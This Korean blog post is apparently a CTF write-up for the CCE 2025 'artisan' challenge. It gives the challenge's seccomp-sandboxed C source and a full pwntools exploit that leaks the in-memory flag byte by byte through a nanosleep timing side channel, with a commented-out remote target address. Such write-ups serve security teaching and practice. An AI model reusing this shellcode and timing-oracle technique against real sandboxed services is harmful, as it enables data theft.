-
[CCE 2025] artisan WriteupCTF 2025. 8. 31. 15:18
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <string.h> #include <fcntl.h> #include <seccomp.h> #include <linux/seccomp.h> #define LENGTH 128 volatile char flag_mem[0x50] = {0}; void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(nanosleep), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } } char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); int fd = open("./flag", O_RDONLY); if (fd == -1) { perror("open"); return 1; } read(fd, flag_mem, 0x50); close(fd); char* sh = (char*)mmap((void*)0x40400000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("Enter your shellcode: "); read(0, sh+offset, 0x900); alarm(10); chroot("/home/ctf"); sandbox(); ((void (*)(void))sh)(); return 0; }문제 코드가 주어지고 따로 환경에 대한 정보는 없습니다.
코드를 보면 flag를 읽어서 flag_mem이라는 전역변수에 저장합니다.
그리고 쉘코드를 입력받고 stub뒤에 붙여서 실행합니다.
seccomp으로 nanosleep syscall만 사용가능합니다.
쉘코드 실행될 때 flag_mem의 offset을 구해서 한자리씩 brute force하면서
맞으면 nanosleep틀리면 pass하게 쉘코드를 짜주면 됩니다.
생각해보니 nanosleep 없어도 그냥 무한루프 돌게만 해줘도 될것같습니다.
Exploit
from pwn import * import string import time binary = "./prob" elf = context.binary = ELF(binary, checksec=False) FLAG_LEN = 0x50 def build_shellcode(index, guess_byte): sc = f""" mov rsi, [rsp] add rsi, 0x2b0e add rsi, {index} /* load byte and compare */ mov al, BYTE PTR [rsi] cmp al, {guess_byte} je do_sleep /* exit(0) */ xor rdi, rdi mov rax, 60 syscall do_sleep: sub rsp, 0x10 mov qword ptr [rsp], 2 mov qword ptr [rsp+8], 0 mov rdi, rsp xor rsi, rsi mov rax, 35 syscall add rsp, 0x10 ret """ return asm(sc, arch='amd64') def run_guess(offset, letter): p = process(binary) # p = remote("3.38.198.197", 54321) p.recvuntil(b"Enter your shellcode: ") shellcode = build_shellcode(offset, ord(letter)) p.send(shellcode.ljust(127, b"\x90")) start = time.time() try: p.recvline() except EOFError: pass elapsed = time.time() - start p.close() return elapsed flag = "" for i in range(FLAG_LEN): for c in string.printable: t = run_guess(i, c) print(f"Testing {c} at position {i}, time: {t:.2f}s") if t > 1: print(f"Found character: {c}") flag += c break print("flag:", flag)로컬에서는 flag를 땄는데 시간이 없어 remote offset을 못구했습니당ㅠ
'CTF' 카테고리의 다른 글
[CCE 2025] book Writeup (0) 2025.08.31